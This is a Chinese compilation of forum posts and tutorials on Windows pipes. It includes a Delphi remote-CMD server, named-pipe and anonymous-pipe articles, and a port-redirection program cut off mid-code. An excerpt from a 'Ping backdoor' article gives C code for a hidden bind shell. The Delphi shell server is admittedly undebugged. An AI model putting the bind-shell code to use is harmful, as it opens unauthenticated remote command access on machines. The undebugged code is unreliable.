• 进程间通讯(模拟远程CMD)


    DameWare NT Utilities是一个非常棒的管理软件。
    我在局域网里使用过,里面的远程执行命令行的功能写得很逼真(界面和本机CMD环境感觉差不多)
    这样的功能如何用Delphi实现
    包括它那逼真的界面。。。


    不是这样。是管道!!
    下面是一些代码,还没有调试成功。现在没时间调试了。
    unit Unit1;
    interface
    uses
    Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
    StdCtrls, ExtCtrls,winsock;
    type
    TForm1 = class(TForm)
       memo1: TMemo;
       procedure FormShow(Sender: TObject);
       procedure FormClose(Sender: TObject; var Action: TCloseAction);
    private
       { Private declarations }
    public
       { Public declarations }
    end;
    CONST
    BUFFERSIZE = 1024;
    var
    Form1: TForm1;
    ClientSock:TSocket;
    ServerScok:TSocket;
    hReadPipe, hWritePipe, hWriteFile, hReadFile:THANDLE;
    recv_buff: array[0..BUFFERSIZE] of char;
    buf : array[0..BUFFERSIZE] of char;           // IO buffer
    // Private variable for the object inspector
    si : STARTUPINFO ;
    sa : SECURITY_ATTRIBUTES;
    sd : SECURITY_DESCRIPTOR ;  //security information for pipes
    pi : PROCESS_INFORMATION ;
    // Handles for all the pipes and files
    Function  AcceptConnect(P:pointer):Longint;stdcall;
    Function  Writepipe(P:pointer):Longint;stdcall;
    Function  Readpipe(P:pointer):Longint;stdcall;
    function  CreateChildProcess(Comdline :  string; AppName : String): boolean;
    procedure inipipe;
    procedure bzerobuf;
    Function IsWinNT(): Boolean;
    Procedure SetupSecurity;
    Procedure CreateIOPiping;
    implementation
    {$R *.DFM}
    Function  AcceptConnect(P:pointer):Longint;stdcall;
    begin
    while true do
    begin
    application.ProcessMessages;
    sleep(250);
    ClientSock:=accept(ServerScok,nil,nil);
    if ClientSock = INVALID_SOCKET then
       showmessage('Failed to Accept');
    end;
    end;
    Function  Writepipe(P:pointer):Longint;stdcall;
    var
    nByteToWrite       : LongWord;
    nByteWritten       : LongWord;
    I,j:integer;
    counter : integer;
    begin
    j:= sizeof(recv_buff);
    While True Do  //main program loop
    Begin
       application.ProcessMessages;
       Sleep(250);
       nByteToWrite:=0;
    //    nByteWritten:=6;
       for counter:= 0 to j do
         recv_buff[counter]:=#0;
       recv(ClientSock,recv_buff,BUFFERSIZE,0);
       for i:=0 to j do
         if  recv_buff[i]=#0 then
           break;
    //    recv_buff:='dir c:';
       if i<> 0 then
         WriteFile(hWriteFile,recv_buff,nByteToWrite,nByteWritten,nil);
    end;
    end;
    Function  Readpipe(P:pointer):Longint;stdcall;
    var
    avail       : LongWord;
    bread       : LongWord;
    begin
    While True Do  //main program loop
    Begin
       application.ProcessMessages;
       sleep(250);
       PeekNamedPipe(hReadFile,@buf,BUFFERSIZE-1,@bread,@avail,NiL);
       //check to see if there is any data to read from stdout
       if (bread <> 0) then
       Begin
         bzerobuf;
         if (avail > BUFFERSIZE-1) Then
         Begin     // if the output from a program is larger than
          // the available buffer space to store it in just get the stuff at the end
           while (bread >= BUFFERSIZE-1) do
           Begin
             ReadFile(hReadFile,buf,BUFFERSIZE-1, bread,NiL);  //read the stdout pipe
             //Send To Remote
             send(ClientSock,buf,BUFFERSIZE-1,0);
             bzerobuf;
           end;
         end
         else begin
           ReadFile(hReadFile,buf,BUFFERSIZE-1,bread,NiL);
           //Send To Remote
           send(ClientSock,buf,BUFFERSIZE-1,0);
         end;
       end;
    end;
    end;
    function  CreateChildProcess(Comdline :  string; AppName : String): boolean;
    begin
    CreateChildProcess:= CreateProcess( nil, Pchar(Comdline),NiL,NiL,TRUE,CREATE_NEW_CONSOLE,
                                         NiL,NiL,si,pi);
    end;
    procedure inipipe;
    begin
    ZeroMemory(@si,sizeOf(STARTUPINFO));
    si.cb := SizeOf(STARTUPINFO);
    end;
    procedure bzerobuf;
    Var
    counter : integer;
    begin // Anyone who knows C might remmeber this function
    for counter:= 0 to SizeOf(buf) do
       buf[counter]:=#0;
    end;
    Function IsWinNT(): Boolean;
    var
    osv : OSVERSIONINFO;
    Begin
    osv.dwOSVersionInfoSize := sizeof(osv);
    GetVersionEx(osv);
    result:= (osv.dwPlatformId = VER_PLATFORM_WIN32_NT);
    end;
    Procedure SetupSecurity;
    Begin
    if IsWinNT() Then        //initialize security descriptor (Windows NT)
    Begin
       InitializeSecurityDescriptor(@sd,SECURITY_DESCRIPTOR_REVISION);
       SetSecurityDescriptorDacl(@sd, true, Nil, false);
       sa.lpSecurityDescriptor:= @sd;
    end else
       sa.lpSecurityDescriptor := NiL;
    sa.nLength := sizeof(SECURITY_ATTRIBUTES);
    sa.bInheritHandle := True;         //allow inheritable handles
    end;
    Procedure CreateIOPiping;
    Begin
    if (Not CreatePipe(hReadPipe,hWriteFile,@sa,0)) then //create stdin pipe
       showmessage('Could not create the standard input pipe');
    if (Not CreatePipe(hReadFile,hWritePipe,@sa,0)) Then //create stdout pipe
    begin
       CloseHandle(hReadFile);          // We must close down the open handle or
       CloseHandle(hWritePipe);       // memory leaks start happening
       showmessage('Could not create the standard output pipe');
    end;
    end;
    procedure TForm1.FormShow(Sender: TObject);
    var
    hThreadR,hThreadW,hThreadA:THandle;
    ThreadIDR,ThreadIDW,ThreadIDA:DWORD;
    WSAData:TWSAData;
    SvrAddr:TSockAddr;
    RemoteIP,port:string;
    RetC:integer;
    begin
    RemoteIP:='127.0.0.1';
    port:='9995';
    //init Socket
    if (WSAStartup(MAKEWORD(2,2),WSAData)<>0) then
        showmessage('Init Failed');//初始化失败
    //1.create a Server socket
    ServerScok:=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
    //valid check
    if(ServerScok=INVALID_SOCKET) then
       showmessage('Error on create socket');
    ZeroMemory(@SvrAddr,sizeof(SvrAddr));
    SvrAddr.sin_family := AF_INET;
    SvrAddr.sin_port := htons(strtoint(port));
    SvrAddr.sin_addr.S_addr:=INADDR_ANY;
    RetC:=bind(ServerScok,SvrAddr,sizeof(SvrAddr));
    if RetC=SOCKET_ERROR then
    begin
       showmessage('Error on Bind socket');
       application.Terminate;
    end;
    RetC:=Listen(ServerScok, 5);
    if RetC=SOCKET_ERROR then
       showmessage('Error on Listen socket');
    //create pipe
    inipipe;
    SetupSecurity;
    CreateIOPiping;
    GetStartupInfo(si);      //set startupinfo for the spawned process
    si.wShowWindow:=SW_HIDE;
    si.dwFlags := STARTF_USESTDHANDLES OR STARTF_USESHOWWINDOW;
    si.hStdOutput := hWritePipe;
    si.hStdError := hWritePipe;     //set the new handles for the child process
    si.hStdInput := hReadPipe;
    //create proc
    If Not CreateChildProcess( 'd:\winnt\system32\cmd.exe', '' ) Then
       Showmessage('Failed to spawn a child');
    //create Thread
    hThreadR:=CreateThread(nil, 0,@Readpipe,nil, 0, ThreadIDR);
    if hThreadR=0 then
       showmessage('Failed to CreateThread ReadPipe');
    hThreadW:=CreateThread(nil, 0,@WritePipe,nil, 0, ThreadIDW);
    if hThreadW=0 then
       showmessage('Failed to CreateThread WritePipe');
    hThreadA:=CreateThread(nil, 0,@AcceptConnect,nil, 0, ThreadIDA);
    if hThreadA=0 then
       showmessage('Failed to CreateThread WritePipe');
    end;
    procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
    begin
    // Make sure all handles are closed
    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);
    CloseHandle(hWritePipe);            //clean stuff up
    CloseHandle(hReadPipe);
    CloseHandle(hReadFile);
    CloseHandle(hWriteFile);
    //  closesocket(ServerScok);
    //  closesocket(ClientSock);
    //release winsock
    WSACleanUP();
    end;
    end.


    原文:《Win2000下Ping后门的简单实现》
    (6) bind shell的实现
    1.在指定端口创建一个server socket接受连接
    // 创建一个socket
    bindServer = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    // 服务器地址和端口指定
    addrServer.sin_family = AF_INET;
    addrServer.sin_port = htons(bport);
    addrServer.sin_addr.s_addr = ADDR_ANY;
    // 设置超时60s
    int TimeOut = 60000;
    setsockopt(bindServer, SOL_SOCKET, SO_RCVTIMEO, (char*)&TimeOut, sizeof(TimeOut));
    // 监听端口
    bind(bindServer, (struct sockaddr*)&addrServer, sizeof(addrServer));
    listen(bindServer, 2);
    printf("\r\n Bind Port on %d ok.", bport);
    // 接受client连接
    int iLen = sizeof(addrClient);
    2.如果有连接进来就为连接新建一个socket句柄 getClient
    // 接收1次连接
    SOCKET getClient = accept(bindServer, (struct sockaddr*)&addrClient, &iLen);
    if(getClient != INVALID_SOCKET)
    {
    // 如果有连接进来设置延时为60S
    int iTimeOut = 60000;
    setsockopt(getClient, SOL_SOCKET, SO_RCVTIMEO, (char*)&iTimeOut, sizeof(iTimeOut));
    }
    else return -1;
    3.有连接进来后开一个绑定cmd.exe的进程执行输入的命令,并把执行的结果返回给socket getClient
    3.1 首先创建两个匿名管道,一个用于新进程的输入,一个用于新进程的输出
    // 建两个匿名管道
    HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;
    SECURITY_ATTRIBUTES sa;
    sa.nLength=12;
    sa.lpSecurityDescriptor=0;
    sa.bInheritHandle=TRUE;
    CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0); // pipe1
    CreatePipe(&hReadPipe2,&hWritePipe2,&sa,0); // pipe2
    3.2 创建一个绑定cmd.exe的进程, 由hReadPipe2读数据,向hWritePipe1写数据
    // 创建一个cmd进程, 由hReadPipe2读数据,向hWritePipe1写数据
    char cmdLine[] = "cmd.exe";
    STARTUPINFO siinfo;
    PROCESS_INFORMATION ProcessInformation;
    ZeroMemory(&siinfo,sizeof(siinfo));
    siinfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
    siinfo.wShowWindow = SW_HIDE;
    siinfo.hStdInput = hReadPipe2; // 新进程读取写入pipe2的数据
    siinfo.hStdOutput = siinfo.hStdError = hWritePipe1; // 新进程向pipe1写数据
    CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&siinfo,&ProcessInformation);
    3.3 循环读取hReadPipe1和连接是否有数据
    把新进程的输出(hWritePipe1)数据写入新连接中,
    把从socket getClient收到的数据写入进进程的输入管道(Pipe2)
    unsigned long lBytesRead;
    while(1)
    {
    // 检查管道pipe1是否有数据返回
    ret=PeekNamedPipe(hReadPipe1,Buff,1024,&lBytesRead,0,0);
    if(lBytesRead)
    {
    // 从管道pipe1读数据
    ret = ReadFile(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);
    if(!ret) break;
    // 把从管道pipe1读到的数据写入连接 getClient
    ret = send(getClient,Buff,lBytesRead,0);
    if(ret <= 0) break;
    }
    else
    {
    // 如果连接 getClient 有接收到数据
    lBytesRead = recv(getClient,Buff,1024,0);
    if(lBytesRead <= 0) break;
    // 把从连接 getClient 读到的数据写入Pipe2
    ret = WriteFile(hWritePipe2,Buff,lBytesRead,&lBytesRead,0);
    if(!ret) break;
    }
    }


    一种网络进程间通信的方式—— 管道
    杨 艳 妮
    摘 要: 文章主要介绍了计算机网络进程间通信的必要性以及进程间通信所采用的几种方式,重点说明了管道通信的原理及命名管道的实现方法。
    关键词: 管道 命名管道 进程
    一、概述
    进程间通信的主要目的是实现同一计算机系统内部相互协作的进程之间的数据共享与信息交换。由于这些进程处于同一应用软件和硬件环境下,因而利用操作系统提供的编程接口,用户可以方便地在程序中实现这种通信。而应用程序间通信的主要目的是实现不同计算机系统中相互协作的应用程序之间的数据共享与信息交换。由于应用程序分别运行在不同计算机系统中,所以它们之间要通过网络间的协议才能实现数据共享与信息交换。进程间的通信和应用程序间的通信,以及它们相应的实现技术既有许多相同之处,也有各自的特点,因为即使是同一类型的通信也会有多种实现的方法,以适应不同情况的需要。
    二、 进程间通信的必要性
    用户提交给计算机的任务最终都是通过一个个进程来完成的。在一组并发进程中的任何两个进程之间,如果都不存在公共变量,则称该组进程为不相交的。在不相交的进程组中,每个进程都独立于其它进程,它的运行环境与顺序程序一样,而且也不为别的进程所改变,其运行的结果是确定的,不会发生与时间相关的错误。
    但是,在实际中,并发进程的各个进程之间并不是完全互相独立的,它们之间往往存在着相互制约的关系。进程之间的相互制约关系表现为以下两种方式:
    ● 间接相互制约 指共享CPU方式;
    ● 直接相互制约 指竞争和协作方式。
    其中,竞争指进程对共享资源的竞争。为保证进程互斥地访问共享资源,各进程必须互斥地进入各自的临界段。
    协作指进程之间交换数据。为完成一个共同任务而同时运行的一组进程称为同组进程,它们之间必须交换数据,以达到协作完成任务的目的。
    共享CPU问题由操作系统的进程调度来解决,进程间的竞争和协作由进程间的通信来完成。
    Win32下提供的进程间通信方式有:剪贴板、COM/DCOM、DDE、文件映射、邮件槽、管道、远地过程调用、网络套接字和消息。
    三、无名管道和命名管道
    无名管道实际上是内存中的一个临时存储区,它由系统安全控制,并且独立于创建它的进程的内存区。管道对数据采用先进先出方式管理,并严格按顺序操作,如不能对管道进行搜索,管道中的信息只能读一次。
    无名管道只能用于两个相互协作的进程之间的通信,并且访问无名管道的进程必须有共同的祖先。
    命名管道的操作与无名管道类似,不同的地方在于使用有名管道的进程不需要具有共同的祖先,其它进程,只要知道该管道的名字,就可以访问它。管道非常适合进程之间快速交换信息。
    四、命名管道的连接和通讯方式
    在服务器端第一次创建命名管道后等待连接,当客户端连接成功后服务器端的命名管道就用作通讯用途。如果需要再次等待连接,服务器端就需要再次打开命名管道(创建一个命名管道的实例)并等待连接。
    对于客户端每次打开命名管道后可建立与服务器间的连接,然后就可以利用命名管道进行通信,如果需要建立第二个连接,则需要再次打开管道并再次建立连接。
    创建命名管道时需要指定一个主机名和管道名,客户端可以采用以下格式完成:
    \\[host_name]\pipe\[pipe_name]\;也可以是:
    \\.\pipe\pipe_name\(其中:. 表示本机)。
    而服务器端只能够以指定本机作为主机名,即只能使用 \\.\ pipe_name\格式。此外,需要注意的是:在同一主机上的管道名称是唯一的,一个命名管道一旦被创建,就不允许再创建相同名称的管道。
    服务器方通过下列方式创建命名管道和打开已经存在的命名管道:
    HANDLE CreateNamedPipe(
    LPCTSTR lpName, //管道
    DWORD dwOpenMode, // 打开方式
    DWORD dwPipeMode, // 管道类型
    DWORD nMaxInstances, // 管道的最大数量
    DWORD nOutBufferSize, // 写缓冲区大小
    DWORD nInBufferSize, // 读缓冲区大小
    DWORD nDefaultTimeOut, // 最长的等待时间
    LPSECURITY_ATTRIBUTES lpSecurityAttributes // 安全属性
    );
    其中,lpName为管道名称,dwOpenMode为创建方式,可以是下面值的组合:
    PIPE_ACCESS_INBOUND:管道只能用作接收数据。
    PIPE-ACCESS-OUTBOUND:管道只能用作发送数据。
    PIPE-ACCESS-DUPLEX:管道既可以发送也可以接收数据(只能取三个中的一个)。
    FILE-FLAG-WRITE-THROUGH:管道用于同步发送和接收数据,只有当数据被发送到目标地址时,发送函数才会返回。如果不设置这个参数,那么在系统内部对于命名管道的处理上可能会因为减少网络负荷而在数据积累到一定量时才发送,并且对于发送函数的调用会马上返回。
    FILE-FLAG-OVERLAPPED:管道可以用于异步输入和输出,异步读写的有关方法和文件异步读写是相同的。
    dwPipeMode指定管道类型,可以是下面值的组合:
    PIPE-TYPE-BYTE:数据在通过管道发送时作为字节流发送,不能与PIPE-READMODE-MESSAGE共用。
    PIPE-TYPE-MESSAGE:数据在通过管道发送时作为消息发送,不能与PIPE-READMODE-BYTE共用。
    PIPE-READMODE-BYTE:在接收数据时接收字节流。
    PIPE-READMODE-MESSAGE:在接收数据时接收消息。
    PIPE-WAIT:使用等待模式,在读、写和建立连接时都需要管道的另一方完成相应动作后才会返回。
    PIPE-NOWAIT:使用非等待模式,在读、写和建立连接时不需要管道的另一方完成相应动作后就可立即返回。
    nMaxInstances为管道的最大数量,在第一次建立服务器方管道时,这个参数表明该管道可以同时存在的数量。PIPE- UNLIMITED-INSTANCES表明不对数量进行限制。nOutBufferSize和nInBufferSize表示缓冲区的大小。nDefaultTimeOut表示在等待连接时最长的等待时间(以毫秒为单位)。如果在创建时设置为NMPWAIT-USE-DEFAULT-WAIT,表明无限制的等待,而以后服务器方的其他管道实例也需要设置相同的值。lpSecurityAttributes为安全属性,一般设置为NULL。如果创建或打开失败,则返回INVALID-HANDLE-VALUE。可以通过GetLastError查到错误。
    客户方通过下列方式创建客户端命名管道:
    HANDLE CreateFile(
    LPCTSTR lpFileName, // 文件名
    DWORD dwDesiredAccess, // 存取方式
    DWORD dwShareMode, // 共享方式
    LPSECURITY-ATTRIBUTES lpSecurityAttributes, // 安全属性
    DWORD dwCreationDisposition, // 创建方式
    DWORD dwFlagsAndAttributes, // 文件属性
    HANDLE hTemplateFile // 临时文件据柄
    );
    其中,CreateFile可以有很多用途,可以用来创建文件、管道、邮件槽、目录等,这里介绍用CreateFile打开客户端命名管道;lpFileName用于指明管道名称;dwDesiredAccess用于表明使用方式,可以使用下面的值:
    GENERIC-READ:打开一个只用于读的管道。
    GENERIC-WRITE:打开一个只用于写的管道。
    GENERIC-READ | GENERIC-WRITE:打开一个用于读和写的管道。
    dwShareMode指定共享方式,一般指定为0;lpSecurityAttributes为安全属性,一般设置为NULL; dwCreationDisposition设置为OPEN_EXISTING; dwFlagsAndAttributes设置为FILE-ATTRIBUTE-NORMAL, 还可以设置为FILE-FLAG-OVERLAPPED来进行异步通讯;hTemplateFile设置为NULL。如果打开失败,则返回INVALID-HANDLE-VALUE,并 可以通过GetLastError找到存在的错误。
    此外客户方可以利用下列方式创建一个发送消息的管道:
    BOOL CallNamedPipe(
    LPCTSTR lpNamedPipeName, // 管道名
    LPVOID lpInBuffer, // 写缓冲区
    DWORD nInBufferSize, // 写缓冲区大小
    LPVOID lpOutBuffer, // 读缓冲区大小
    DWORD nOutBufferSize, // 读缓冲区大小
    LPDWORD lpBytesRead, // 可读字节数
    DWORD nTimeOut // 最长的等待时间
    );
    管道的连接管理,客户方在调用CreateFile后可立即建立与服务器的连接,而服务器方一旦管道打开或创建后,就可以用下列方式等待客户端的连接建立 :
    BOOLConnectNamedPipe(HANDLE hNamedPipe,
    LPOVERLAPPED lpOverlapped);
    如果希望在服务器方检测是否有连接到达,可以调用:
    BOOL WaitNamedPipe(LPCTSTR lpNamedPipeName,
    DWORD nTimeOut );
    这里的lpNamePipeName直接使用创建管道时的名称。如果在服务器方希望关闭连接,则调用BOOL DisconnectNamedPipe( HANDLE hNamedPipe ),一旦连接被关闭,服务器方可以再次调用ConnectNamedPipe来建立连接;如果要关闭管道,则可直接调用CloseHandle。请注意:这里提到的关闭管道和关闭连接具有不同的意思,在同一个管道上可以依次反复建立连接,而且可以减小系统的负荷。如果指定了管道最大数量限制,那么在打开的管道达到最大限制后如果不关闭旧管道,就无法打开新管道。
    客户方则无法关闭连接,而只能直接调用CloseHandle关闭管道。
    数据的发送,不论是服务器还是客户方都可以通过ReadFile和WriteFile进行管道读写来达到通讯的目的。
    下面是一个例子,服务器方创建或打开一个管道并读入对方发送的数据,将小写字母转换成大写字母后返回;而客户方创建一个到服务器的连接并发送一个字符串,同时读回经过转换的数据。
    在使用这个例子时,只可运行三个服务端进程,如果运行第四个进程,就会因达到管道最大数量限制而导致打开管道失败。
    服务端程序:
    void CNamed-pipeDlg::OnCreateP()
    {
    DWORD dwTO = NMPWAIT-USE-DEFAULT-WAIT;//设置连接等待时间
    HANDLEhSvr=
    CreateNamedPipe("\\\\.\\pipe\\test-pipe\\",PIPE-ACCESS-DUPLEX,
    PIPE-TYPE-BYTE,3,256,256,dwTO,NULL);
    if( INVALID-HANDLE-VALUE == hSvr)
    AfxMessageBox("创建管道失败!");
    else
    {
    if (ConnectNamedPipe(hSvr,NULL))
    {
    BYTE bRead;
    DWORD dwRead,dwWritten;
    while (ReadFile(hSvr,&bRead,1,&dwRead,NULL))
    {
    if(bRead >= 'a' && bRead $lt;='z')
    bRead = 'A'+ (bRead-'a');
    WriteFile(hSvr,&bRead,1,&dwWritten,NULL);
    }
    }
    else
    AfxMessageBox("连接失败!");
    CloseHandle(hSvr);
    }
    }
    客户端程序:
    void CNamed-pipe-cDlg::OnConn()
    {
    HANDLE hClient=CreateFile("\\\\.\\pipe\\test-pipe\\",GENERIC-WRITE
    |GENERIC-READ,0,NULL,OPEN-EXISTING,
    FILE-ATTRIBUTE-NORMAL,NULL);
    if(hClient == INVALID-HANDLE-VALUE)
    AfxMessageBox("打开管道失败!");
    else
    {
    DWORD dwRead,dwWritten;
    char szSend[10]="send...";
    char szRecv[10];
    for(int i=0;i<strlen(szSend)+1;i++)
    {
    WriteFile(hClient,szSend+i,1,&dwWritten,NULL);
    ReadFile(hClient,szRecv+i,1,&dwRead,NULL);
    }
    CloseHandle(hClient); // 关闭管道
    AfxMessageBox(szRecv);
    }
    }
    该程序在VC5.0、Win98下调试通过。▲


    CSDN - 文档中心 - Visual C++    
    标题     Windows管道技术简述    detrox(原作)
    关键字     管道,Windows
    Windows管道技术简述
    detrox
    不知你是否用过这样的程序,他们本身并没有解压缩的功能,而是调用DOS程序PKZIP完成ZIP包的解压缩。但是在程序运行时又没有DOS控制台的窗口出现而且一切本应该在DOS下显示的信息都出现在了那个安装程序的一个文本框里。这种设计既美观又可以防止少数眼疾手快的用户提前关了你的DOS窗口。
    现在就来讨论一下,如何用匿名管道技术实现这个功能。
    管道技术由来已久,相信不少人对DOS命令里的管道技术最为熟悉。当我们type一个文件的时候如果想让他分页现实可以输入
    C:\>type autoexec.bat|more
    这里“|”就是管道操作符。他以type输出的信息为读取端,以more的输入端为写入端建立的管道。
    Windows中使用较多的管道也是匿名管道,它通过API函数CreatePipe创建。
    BOOL CreatePipe(
              PHANDLE hReadPipe, // 指向读端句柄的指针
              PHANDLE hWritePipe, // 指向写端句柄的指针
              LPSECURITY_ATTRIBUTES lpPipeAttributes, // 指向安全属性结构的指针
              DWORD nSize // 管道的容量
    );
    上面几个参数中要注意hReadPipe,hWritePipe是指向句柄的指针,而不是句柄(我第一次用的时候就搞错了)。nSize一般指定为0,以便让系统自己决定管道的容量。现在来看安全属性结构,SECURITY_ATTRIBUTES。
    typedef struct _SECURITY_ATTRIBUTES { // sa
              DWORD nLength;
              LPVOID lpSecurityDescriptor;
              BOOL bInheritHandle;
    } SECURITY_ATTRIBUTES;
    nLength是结构体的大小,自然是用sizeof取得了。lpSecurityDescriptor是安全描述符(一个C-Style的字符串)。bInheritHandle他指出了安全描述的对象能否被新创建的进程继承。先不要管他们的具体意义,使用的时候自然就知道了。
    好,现在我们来创建一个管道
    HANDLE hReadPipe, hWritePipe;
    SECURITY_ATTRIBUTES sa;
    sa.nLength = sizeof(SECURITY_ATTRIBUTES);
    sa.lpSecurityDescriptor = NULL; //使用系统默认的安全描述符
    sa.bInheritHandle = TRUE; //一定要为TRUE,不然句柄不能被继承。
    CreeatePipe(&hReadPipe,&hWritePipe,&sa,0);
    OK,我们的管道建好了。当然这不是最终目的,我们的目的是把DOS上的一个程序输出的东西重定向到一个Windows程序的Edit控件。所以我们还需要先启动一个DOS的程序,而且还不能出现DOS控制台的窗口(不然不就露馅了吗)。我们用CreateProcess创建一个DOS程序的进程。
    BOOL CreateProcess(
              LPCTSTR lpApplicationName, // C-style字符串:应用程序的名称
              LPTSTR lpCommandLine, // C-style字符串:执行的命令
              LPSECURITY_ATTRIBUTES lpProcessAttributes, // 进程安全属性
              LPSECURITY_ATTRIBUTES lpThreadAttributes, // 线程安全属性
              BOOL bInheritHandles, // 是否继承句柄的标志
              DWORD dwCreationFlags, // 创建标志
              LPVOID lpEnvironment, // C-Style字符串:环境设置
              LPCTSTR lpCurrentDirectory, // C-Style字符串:执行目录
              LPSTARTUPINFO lpStartupInfo, // 启动信息
              LPPROCESS_INFORMATION lpProcessInformation // 进程信息
    );
    先别走,参数是多了点,不过大部分要不不用自己填要不填个NULL就行了。lpApplication随便一点就行了。lpCommandLine可是你要执行的命令一定要认真写好。来,我们瞧瞧lpProcessAttributes和lpThreadAttributes怎么设置。哎?这不就是刚才那个吗。对阿,不过可比刚才简单。由于我们只是创建一个进程,他是否能在被继承不敢兴趣所以这两个值全为NULL。bInHeritHandles也是一定要设置为TRUE的,因为我们既然要让新的进程能输出信息到调用他的进程里,就必须让新的进程继承调用进程的句柄。我们对创建的新进程也没什么别的苛求,所以dwCreationFlags就为NULL了。lpEnvironment和lpCurrentDirectory根据你自己的要求是指一下就行了,一般也是NULL。接下来的lpStartupInfo可是关键,我们要认真看一下。
    typedef struct _STARTUPINFO { // si
              DWORD cb;
              LPTSTR lpReserved;
              LPTSTR lpDesktop;
              LPTSTR lpTitle;
              DWORD dwX;
              DWORD dwY;
              DWORD dwXSize;
              DWORD dwYSize;
              DWORD dwXCountChars;
              DWORD dwYCountChars;
              DWORD dwFillAttribute;
              DWORD dwFlags;
              WORD wShowWindow;
              WORD cbReserved2;
              LPBYTE lpReserved2;
              HANDLE hStdInput;
              HANDLE hStdOutput;
              HANDLE hStdError;
    } STARTUPINFO, *LPSTARTUPINFO;
    倒!这么多参数,一个一个写肯定累死了。没错,MS早就想到会累死人。所以提供救人一命的API函数GetStartupInfo。
    VOID GetStartupInfo(
              LPSTARTUPINFO lpStartupInfo
    );
    这个函数用来取得当前进程的StartupInfo,我们新建的进程基本根当前进程的StartupInfo差不多,就借用一下啦。然后再小小修改一下即可。
    我们要改的地方有这么几个:cb,dwFlags,hStdOutput,hStdError,wShowWindow。先说cb,他指的是STARTUPINFO的大小,还是老手法sizeof。再说wShowWindow,他制定了新进程创建时窗口的现实状态,这个属性当然给为SW_HIDE了,我们不是要隐藏新建的DOS进程吗。哈哈,看到hStdOutput和hStdError,标准输出和错误输出的句柄。关键的地方来了,只要我们把这两个句柄设置为hWrite,我们的进程一旦有标准输出,就会被写入我们刚刚建立的匿名管道里,我们再用管道的hReadPipe句柄把内容读出来写入Edit控件不就达到我们的目的了吗。呵呵,说起来也真是听容易的阿。这几个关键参数完成了以后,千万别忘了dwFlags。他是用来制定STARTUPINFO里这一堆参数那个有效的。既然我们用了hStdOutput,hStdError和wShowWindow那dwFlags就给为STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES。
    好了,现在回到CreateProcess的最后一个参数lpProcessInformation(累!)。呵呵,这个参数不用自己填了,他是CreateProcess返回的信息,只要给他一个PROCESS_INFORMATION结构事例的地址就行了。
    大功高成了,我们管道一端连在了新进程的标准输出端了,一端可以自己用API函数ReadFile读取了。等等,不对,我们的管道还有问题。我们把hWrite给了hStdOutput和hStdError,那么在新的进程启动时就会在新进程中打开一个管道写入端,而我们在当前进程中使用了CreatePipe创建了一个管道,那么在当前进程中也有这个管道的写入端hWrite。好了,这里出现了一个有两个写入端和一个读出端的畸形管道。这样的管道肯定是有问题的。由于当前进程并不使用写端,因此我们必须关闭当前进程的写端。这样,我们的管道才算真正的建立成功了。来看看VC++写的源程序:
    /*
    * 通过管道技术,将dir /?的帮助信息输入到MFC应用程序的一个CEdit控件中。
    * VC++6.0 + WinXP 通过
    *
    * detrox, 2003
    */
    void CPipeDlg::OnButton1()
    {
    SECURITY_ATTRIBUTES sa;
    HANDLE hRead,hWrite;
    sa.nLength = sizeof(SECURITY_ATTRIBUTES);
    sa.lpSecurityDescriptor = NULL;
    sa.bInheritHandle = TRUE;
    if (!CreatePipe(&hRead,&hWrite,&sa,0)) {
      MessageBox("Error On CreatePipe()");
        return;
    }
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    si.cb = sizeof(STARTUPINFO);
    GetStartupInfo(&si);
    si.hStdError = hWrite;
    si.hStdOutput = hWrite;
    si.wShowWindow = SW_HIDE;
    si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
    if (!CreateProcess(NULL,"c:\\windows\\system32\\cmd.exe/c dir /?"
           ,NULL,NULL,TRUE,NULL,NULL,NULL,&si,&pi)) {
           MessageBox("Error on CreateProcess()");
           return;
    }
    CloseHandle(hWrite);
    char buffer[4096] = {0};
    DWORD bytesRead;
    while (true) {
         if (ReadFile(hRead,buffer,4095,&bytesRead,NULL) == NULL)
             break;
         m_Edit1 += buffer;
         UpdateData(false);
         Sleep(200);
    }
    }


    端口重定向程序Delphi版.
    program Redir;
    {
    端口重定向程序Delphi版.
    说明:这个代码是根据一个C语言代码翻译并修改过来的.
    目前是基于单连接,大家可以方便的改成多连接.
    lovejingtao.
    http://www.138soft.com.2004,3,25.
    运行本程序,格式如下:
    1:Redir.exe 980
    在980端口监听TelNet连接
    2:Redir.exe
    默认在23端口进行监听TelNet连接
    然后使用Windows自带的TelNet登陆即可.
    }
    uses
    Windows, WinSock;
    {$R *.res}
    {会话结构}
    type
    MySessionRecord = record
       ReadPipeHandle: THandle;
       WritePipeHandle: THandle;
       ProcessHandle: THandle;
       ClientSocket: TSocket;
       ReadShellThreadHandle: THandle;
       WriteShellThreadHandle: THandle;
    end;
    TMySessionRecord = MySessionRecord;
    PMySessionRecord = ^MySessionRecord;
    const
    NULL = 0;
    var
    cmdline: pchar = ''; {全局变量.}
    function StartShell(ShellStdinPipeHandle: THANDLE; ShellStdoutPipeHandle: THANDLE): THANDLE; forward;
    procedure SessionReadShellThreadFn(Parameter: Pointer); stdcall; forward;
    procedure SessionWriteShellThreadFn(Parameter: pointer); stdcall; forward;
    // **********************************************************************
    //
    // CreateSession 创建一个新对话.包括创建一个shell进程和建立一个通信管道
    //
    function CreateSession(var MySession: TMySessionRecord): Boolean;
    var
    Security: TSecurityAttributes;
    ShellStdinPipe, ShellStdOutPipe: THandle;
    label Failure;
    begin
    Result := False;
    FillChar(Security, sizeof(TSecurityAttributes), #0);
    Security.nLength := sizeof(TSecurityAttributes);
    Security.lpSecurityDescriptor := nil; // Use default ACL
    //设置允许继承,否则在NT和2000下无法取得输出结果
    Security.bInheritHandle := TRUE; // Shell will inherit handles
    if not Createpipe(MySession.ReadPipeHandle, ShellStdOutPipe, @Security, 0) then Exit;
